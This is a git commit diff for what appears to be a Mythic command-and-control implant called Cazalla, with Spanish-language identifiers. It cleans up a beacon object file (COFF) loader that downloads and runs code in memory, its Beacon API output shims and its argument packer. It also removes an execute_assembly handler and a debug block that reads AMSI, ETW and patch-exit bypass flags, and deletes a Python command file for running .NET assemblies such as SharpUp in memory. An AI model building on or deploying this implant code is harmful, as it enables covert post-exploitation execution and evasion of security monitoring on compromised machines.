Bof and assemblies completed
This commit is contained in:
@@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
// But if called directly, we'll handle it here
|
// But if called directly, we'll handle it here
|
||||||
_wrn("inline_execute_assembly should be called via subtasks");
|
_wrn("inline_execute_assembly should be called via subtasks");
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
|
|
||||||
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
|
||||||
// This command is typically handled via subtasks in Python (inject_shellcode)
|
|
||||||
// But if called directly, we'll handle it here
|
|
||||||
_wrn("execute_assembly should be called via subtasks");
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
|
||||||
} else {
|
} else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||||
|
|||||||
@@ -67,7 +67,6 @@
|
|||||||
/* BOF and Assembly execution commands */
|
/* BOF and Assembly execution commands */
|
||||||
#define INLINE_EXECUTE_CMD 0x70
|
#define INLINE_EXECUTE_CMD 0x70
|
||||||
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
|
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
|
||||||
#define EXECUTE_ASSEMBLY_CMD 0x72
|
|
||||||
|
|
||||||
/* Extension marker to carry SOCKS array in binary messages */
|
/* Extension marker to carry SOCKS array in binary messages */
|
||||||
#define SOCKS_BLOCK_MARKER 0xF5
|
#define SOCKS_BLOCK_MARKER 0xF5
|
||||||
|
|||||||
@@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
|
|
||||||
threadArgs->completed = FALSE;
|
threadArgs->completed = FALSE;
|
||||||
threadArgs->success = FALSE;
|
threadArgs->success = FALSE;
|
||||||
|
|
||||||
@@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
|||||||
|
|
||||||
threadArgs->success = result;
|
threadArgs->success = result;
|
||||||
threadArgs->completed = TRUE;
|
threadArgs->completed = TRUE;
|
||||||
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
|
|
||||||
|
|
||||||
return result ? 0 : 1;
|
return result ? 0 : 1;
|
||||||
}
|
}
|
||||||
@@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) {
|
|||||||
beacon_output_size += length;
|
beacon_output_size += length;
|
||||||
beacon_output_offset += length;
|
beacon_output_offset += length;
|
||||||
va_end(args);
|
va_end(args);
|
||||||
|
|
||||||
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BeaconOutput - Capture raw output from BOFs
|
// BeaconOutput - Capture raw output from BOFs
|
||||||
@@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) {
|
|||||||
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
|
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
|
||||||
beacon_output_size += len;
|
beacon_output_size += len;
|
||||||
beacon_output_offset += len;
|
beacon_output_offset += len;
|
||||||
|
|
||||||
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BeaconGetOutputData - Get captured output (caller must free)
|
// BeaconGetOutputData - Get captured output (caller must free)
|
||||||
@@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) {
|
|||||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
||||||
#define CHUNK_SIZE 512000 // 512 KB
|
#define CHUNK_SIZE 512000 // 512 KB
|
||||||
|
|
||||||
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
|
|
||||||
|
|
||||||
DWORD status = 0;
|
DWORD status = 0;
|
||||||
PBYTE dataBuffer = NULL;
|
PBYTE dataBuffer = NULL;
|
||||||
@@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
|||||||
bof->size = totalBytesRead;
|
bof->size = totalBytesRead;
|
||||||
bof->totalChunks = totalChunks;
|
bof->totalChunks = totalChunks;
|
||||||
|
|
||||||
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
cleanup:
|
cleanup:
|
||||||
@@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
|
|
||||||
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
||||||
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
||||||
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
||||||
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
|
|
||||||
func, counter, foo, COFF->SymbolTable[counter].Value);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
// Execute the BOF
|
|
||||||
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
|
|
||||||
// The BOF should handle its own errors gracefully
|
|
||||||
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
|
|
||||||
foo((char*)args, (UINT32)argSize);
|
foo((char*)args, (UINT32)argSize);
|
||||||
_inf("[ExecuteEntry] Entry point '%s' completado", func);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
|
|
||||||
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
||||||
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
|
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
|
||||||
// Cleanup
|
// Cleanup
|
||||||
@@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
|||||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
|
|
||||||
|
|
||||||
// Cleanup
|
// Cleanup
|
||||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||||
@@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
if (!argsJson || argsJsonLen == 0) {
|
if (!argsJson || argsJsonLen == 0) {
|
||||||
*outBuffer = NULL;
|
*outBuffer = NULL;
|
||||||
*outSize = 0;
|
*outSize = 0;
|
||||||
_inf("[ParseBOFArguments] No arguments provided");
|
|
||||||
return TRUE; // No arguments is valid
|
return TRUE; // No arguments is valid
|
||||||
}
|
}
|
||||||
|
|
||||||
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
|
|
||||||
|
|
||||||
// Check for empty array []
|
// Check for empty array []
|
||||||
PCHAR p = argsJson;
|
PCHAR p = argsJson;
|
||||||
PCHAR end = argsJson + argsJsonLen;
|
PCHAR end = argsJson + argsJsonLen;
|
||||||
@@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
// Empty array
|
// Empty array
|
||||||
*outBuffer = NULL;
|
*outBuffer = NULL;
|
||||||
*outSize = 0;
|
*outSize = 0;
|
||||||
_inf("[ParseBOFArguments] Empty array, no arguments");
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
}
|
}
|
||||||
memcpy(buffer + offset, &val, 2);
|
memcpy(buffer + offset, &val, 2);
|
||||||
offset += 2;
|
offset += 2;
|
||||||
_inf("[ParseBOFArguments] Packed int16: %d", val);
|
|
||||||
} else if (strcmp(typeBuf, "int32") == 0) {
|
} else if (strcmp(typeBuf, "int32") == 0) {
|
||||||
INT32 val = 0;
|
INT32 val = 0;
|
||||||
// Handle boolean values (true/false) and numeric values
|
// Handle boolean values (true/false) and numeric values
|
||||||
// First check for unquoted boolean literals
|
// First check for unquoted boolean literals
|
||||||
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
|
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
|
||||||
val = 1;
|
val = 1;
|
||||||
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
|
|
||||||
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
|
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
|
||||||
val = 0;
|
val = 0;
|
||||||
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
|
|
||||||
} else {
|
} else {
|
||||||
val = (INT32)atoi(valueStart);
|
val = (INT32)atoi(valueStart);
|
||||||
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
|
|
||||||
}
|
}
|
||||||
if (offset + 4 > bufferSize) {
|
if (offset + 4 > bufferSize) {
|
||||||
LocalFree(buffer);
|
LocalFree(buffer);
|
||||||
@@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
}
|
}
|
||||||
memcpy(buffer + offset, &val, 4);
|
memcpy(buffer + offset, &val, 4);
|
||||||
offset += 4;
|
offset += 4;
|
||||||
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
|
|
||||||
} else if (strcmp(typeBuf, "string") == 0) {
|
} else if (strcmp(typeBuf, "string") == 0) {
|
||||||
if (offset + 4 + valueLen + 1 > bufferSize) {
|
if (offset + 4 + valueLen + 1 > bufferSize) {
|
||||||
LocalFree(buffer);
|
LocalFree(buffer);
|
||||||
@@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
memcpy(buffer + offset, valueStart, valueLen);
|
memcpy(buffer + offset, valueStart, valueLen);
|
||||||
offset += valueLen;
|
offset += valueLen;
|
||||||
buffer[offset++] = '\0';
|
buffer[offset++] = '\0';
|
||||||
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
|
||||||
} else if (strcmp(typeBuf, "wchar") == 0) {
|
} else if (strcmp(typeBuf, "wchar") == 0) {
|
||||||
// Convert to wide string (UTF-16)
|
// Convert to wide string (UTF-16)
|
||||||
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
|
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
|
||||||
@@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
WCHAR nullTerm = 0;
|
WCHAR nullTerm = 0;
|
||||||
memcpy(buffer + offset, &nullTerm, 2);
|
memcpy(buffer + offset, &nullTerm, 2);
|
||||||
offset += 2;
|
offset += 2;
|
||||||
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
|
||||||
} else if (strcmp(typeBuf, "base64") == 0) {
|
} else if (strcmp(typeBuf, "base64") == 0) {
|
||||||
// Decode base64
|
// Decode base64
|
||||||
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
|
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
|
||||||
@@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
|
|
||||||
LocalFree(b64Str);
|
LocalFree(b64Str);
|
||||||
LocalFree(decoded);
|
LocalFree(decoded);
|
||||||
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
|
|
||||||
} else if (strcmp(typeBuf, "bytes") == 0) {
|
} else if (strcmp(typeBuf, "bytes") == 0) {
|
||||||
// Convert hex string to bytes
|
// Convert hex string to bytes
|
||||||
PBYTE bytes = NULL;
|
PBYTE bytes = NULL;
|
||||||
@@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
offset += bytesLen;
|
offset += bytesLen;
|
||||||
|
|
||||||
LocalFree(bytes);
|
LocalFree(bytes);
|
||||||
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
|
|
||||||
} else {
|
} else {
|
||||||
// Unknown type - skip or error?
|
// Unknown type - skip or error?
|
||||||
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
|
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
|
||||||
@@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
buffer = NULL;
|
buffer = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
|
|
||||||
*outBuffer = buffer;
|
*outBuffer = buffer;
|
||||||
*outSize = offset;
|
*outSize = offset;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
@@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
|||||||
* InlineExecuteHandler - Main handler for inline_execute command
|
* InlineExecuteHandler - Main handler for inline_execute command
|
||||||
*/
|
*/
|
||||||
VOID InlineExecuteHandler(PAnalizador argumentos) {
|
VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||||
_inf("===== InlineExecuteHandler INICIO =====");
|
|
||||||
|
|
||||||
// Read task UUID
|
// Read task UUID
|
||||||
SIZE_T uuidLen = 36;
|
SIZE_T uuidLen = 36;
|
||||||
@@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
SIZE_T argsLen = 0;
|
SIZE_T argsLen = 0;
|
||||||
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
|
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
|
||||||
|
|
||||||
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
|
||||||
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
|
||||||
|
|
||||||
// Create response package
|
// Create response package
|
||||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
@@ -1054,8 +1019,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
PBYTE bofArgs = NULL;
|
PBYTE bofArgs = NULL;
|
||||||
SIZE_T bofArgsSize = 0;
|
SIZE_T bofArgsSize = 0;
|
||||||
if (argsBuffer && argsLen > 0) {
|
if (argsBuffer && argsLen > 0) {
|
||||||
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
|
|
||||||
|
|
||||||
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
||||||
// We just need to replace the first 4 bytes with the total size
|
// We just need to replace the first 4 bytes with the total size
|
||||||
bofArgs = argsBuffer; // Use the buffer directly
|
bofArgs = argsBuffer; // Use the buffer directly
|
||||||
@@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
// Replace first 4 bytes with total size (including the 4-byte header)
|
// Replace first 4 bytes with total size (including the 4-byte header)
|
||||||
UINT32 totalSize = (UINT32)bofArgsSize;
|
UINT32 totalSize = (UINT32)bofArgsSize;
|
||||||
memcpy(bofArgs, &totalSize, 4);
|
memcpy(bofArgs, &totalSize, 4);
|
||||||
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
|
|
||||||
} else {
|
} else {
|
||||||
_inf("[inline_execute] No hay argumentos");
|
|
||||||
bofArgs = NULL;
|
bofArgs = NULL;
|
||||||
bofArgsSize = 0;
|
bofArgsSize = 0;
|
||||||
if (argsBuffer) {
|
if (argsBuffer) {
|
||||||
@@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
}
|
}
|
||||||
beacon_output_size = 0;
|
beacon_output_size = 0;
|
||||||
beacon_output_offset = 0;
|
beacon_output_offset = 0;
|
||||||
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
|
|
||||||
|
|
||||||
// Execute the BOF
|
// Execute the BOF
|
||||||
DWORD fileSize = (DWORD)bof.size;
|
DWORD fileSize = (DWORD)bof.size;
|
||||||
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
|
||||||
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
|
|
||||||
|
|
||||||
// Log argument structure for debugging (first 100 bytes)
|
|
||||||
if (bofArgs && bofArgsSize > 0) {
|
|
||||||
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
|
|
||||||
// Log only summary of arguments (reduced verbosity to prevent log blocking)
|
|
||||||
if (bofArgsSize >= 4) {
|
|
||||||
UINT32* ptr = (UINT32*)bofArgs;
|
|
||||||
SIZE_T offset = 4;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
UINT32 bytesLen = ptr[1];
|
|
||||||
offset += 4 + bytesLen;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
|
||||||
offset += 4;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
|
||||||
offset += 4 + wcharLen;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
|
|
||||||
offset += 4;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
|
|
||||||
offset += 4;
|
|
||||||
if (offset + 4 <= bofArgsSize) {
|
|
||||||
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
|
|
||||||
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
|
|
||||||
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Execute the BOF in a separate thread to prevent agent blocking
|
|
||||||
// This allows the agent to continue even if the BOF hangs or crashes
|
|
||||||
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
|
|
||||||
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
|
|
||||||
bof.buffer, fileSize, bofArgs, bofArgsSize);
|
|
||||||
|
|
||||||
// Prepare thread arguments
|
// Prepare thread arguments
|
||||||
BOF_THREAD_ARGS threadArgs = {0};
|
BOF_THREAD_ARGS threadArgs = {0};
|
||||||
@@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
|||||||
|
|
||||||
// Wait for BOF execution with timeout (30 seconds)
|
// Wait for BOF execution with timeout (30 seconds)
|
||||||
DWORD timeoutMs = 30000; // 30 seconds
|
DWORD timeoutMs = 30000; // 30 seconds
|
||||||
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
|
|
||||||
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
|
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
|
||||||
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
|
|
||||||
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
|
|
||||||
|
|
||||||
BOOL bofSuccess = FALSE;
|
BOOL bofSuccess = FALSE;
|
||||||
if (waitResult == WAIT_OBJECT_0) {
|
if (waitResult == WAIT_OBJECT_0) {
|
||||||
// Thread completed
|
// Thread completed
|
||||||
_inf("[inline_execute] Thread del BOF completó exitosamente");
|
|
||||||
bofSuccess = threadArgs.success;
|
bofSuccess = threadArgs.success;
|
||||||
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
|
|
||||||
threadArgs.success, threadArgs.completed);
|
|
||||||
} else if (waitResult == WAIT_TIMEOUT) {
|
} else if (waitResult == WAIT_TIMEOUT) {
|
||||||
// Thread timed out - BOF is hanging
|
// Thread timed out - BOF is hanging
|
||||||
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
|
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
|
||||||
_inf("[inline_execute] Intentando terminar thread colgado...");
|
|
||||||
// Try to terminate the thread (not ideal, but necessary to unblock agent)
|
// Try to terminate the thread (not ideal, but necessary to unblock agent)
|
||||||
if (TerminateThread(hThread, 1)) {
|
if (!TerminateThread(hThread, 1)) {
|
||||||
_inf("[inline_execute] Thread terminado exitosamente");
|
|
||||||
} else {
|
|
||||||
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
|
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
|
||||||
}
|
}
|
||||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
|
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
|
||||||
|
|||||||
@@ -1,220 +0,0 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
|
||||||
from mythic_container.MythicRPC import *
|
|
||||||
import json
|
|
||||||
import logging
|
|
||||||
import os
|
|
||||||
import tempfile
|
|
||||||
|
|
||||||
logging.basicConfig(level=logging.INFO)
|
|
||||||
|
|
||||||
|
|
||||||
class ExecuteAssemblyArguments(TaskArguments):
|
|
||||||
def __init__(self, command_line, **kwargs):
|
|
||||||
super().__init__(command_line, **kwargs)
|
|
||||||
self.args = [
|
|
||||||
CommandParameter(
|
|
||||||
name="assembly_name",
|
|
||||||
cli_name="Assembly",
|
|
||||||
display_name="Assembly",
|
|
||||||
type=ParameterType.ChooseOne,
|
|
||||||
dynamic_query_function=self.get_files,
|
|
||||||
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
|
|
||||||
parameter_group_info=[
|
|
||||||
ParameterGroupInfo(
|
|
||||||
required=True,
|
|
||||||
group_name="Default",
|
|
||||||
ui_position=1
|
|
||||||
)
|
|
||||||
]),
|
|
||||||
CommandParameter(
|
|
||||||
name="assembly_file",
|
|
||||||
display_name="New Assembly",
|
|
||||||
type=ParameterType.File,
|
|
||||||
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
|
|
||||||
parameter_group_info=[
|
|
||||||
ParameterGroupInfo(
|
|
||||||
required=True,
|
|
||||||
group_name="New Assembly",
|
|
||||||
ui_position=1,
|
|
||||||
)
|
|
||||||
]
|
|
||||||
),
|
|
||||||
CommandParameter(
|
|
||||||
name="assembly_arguments",
|
|
||||||
cli_name="Arguments",
|
|
||||||
display_name="Arguments",
|
|
||||||
type=ParameterType.String,
|
|
||||||
description="Arguments to pass to the assembly.",
|
|
||||||
default_value="",
|
|
||||||
parameter_group_info=[
|
|
||||||
ParameterGroupInfo(
|
|
||||||
required=True, group_name="Default", ui_position=2,
|
|
||||||
),
|
|
||||||
ParameterGroupInfo(
|
|
||||||
required=True, group_name="New Assembly", ui_position=2
|
|
||||||
),
|
|
||||||
],
|
|
||||||
),
|
|
||||||
]
|
|
||||||
|
|
||||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
|
||||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
|
||||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
|
||||||
CallbackID=callback.Callback,
|
|
||||||
LimitByCallback=False,
|
|
||||||
Filename="",
|
|
||||||
))
|
|
||||||
if file_resp.Success:
|
|
||||||
file_names = []
|
|
||||||
for f in file_resp.Files:
|
|
||||||
if f.Filename not in file_names and f.Filename.endswith(".exe"):
|
|
||||||
file_names.append(f.Filename)
|
|
||||||
response.Success = True
|
|
||||||
response.Choices = file_names
|
|
||||||
return response
|
|
||||||
else:
|
|
||||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
|
||||||
CallbackId=callback.Callback,
|
|
||||||
Message=f"Failed to get files: {file_resp.Error}",
|
|
||||||
MessageLevel="warning"
|
|
||||||
))
|
|
||||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
|
||||||
return response
|
|
||||||
|
|
||||||
async def parse_arguments(self):
|
|
||||||
if len(self.command_line) == 0:
|
|
||||||
raise ValueError("Must supply arguments")
|
|
||||||
raise ValueError("Must supply named arguments or use the modal")
|
|
||||||
|
|
||||||
class ExecuteAssemblyCommand(CommandBase):
|
|
||||||
cmd = "execute_assembly"
|
|
||||||
needs_admin = False
|
|
||||||
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
|
|
||||||
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
|
|
||||||
version = 1
|
|
||||||
author = "@c0rnbread (adapted for Cazalla)"
|
|
||||||
script_only = True
|
|
||||||
attackmapping = []
|
|
||||||
argument_class = ExecuteAssemblyArguments
|
|
||||||
attributes = CommandAttributes(
|
|
||||||
builtin=False,
|
|
||||||
supported_os=[ SupportedOS.Windows ],
|
|
||||||
suggested_command=False
|
|
||||||
)
|
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
|
||||||
TaskID=taskData.Task.ID,
|
|
||||||
Success=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
|
||||||
groupName = taskData.args.get_parameter_group_name()
|
|
||||||
|
|
||||||
if groupName == "New Assembly":
|
|
||||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
|
||||||
TaskID=taskData.Task.ID,
|
|
||||||
AgentFileID=taskData.args.get_arg("assembly_file")
|
|
||||||
))
|
|
||||||
if file_resp.Success:
|
|
||||||
if len(file_resp.Files) > 0:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
raise Exception("Failed to find that file")
|
|
||||||
else:
|
|
||||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
|
||||||
|
|
||||||
# Set display parameters
|
|
||||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
|
||||||
file_resp.Files[0].Filename,
|
|
||||||
taskData.args.get_arg("assembly_arguments")
|
|
||||||
)
|
|
||||||
|
|
||||||
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
|
|
||||||
taskData.args.remove_arg("assembly_file")
|
|
||||||
|
|
||||||
elif groupName == "Default":
|
|
||||||
# We're trying to find an already existing file and use that
|
|
||||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
|
||||||
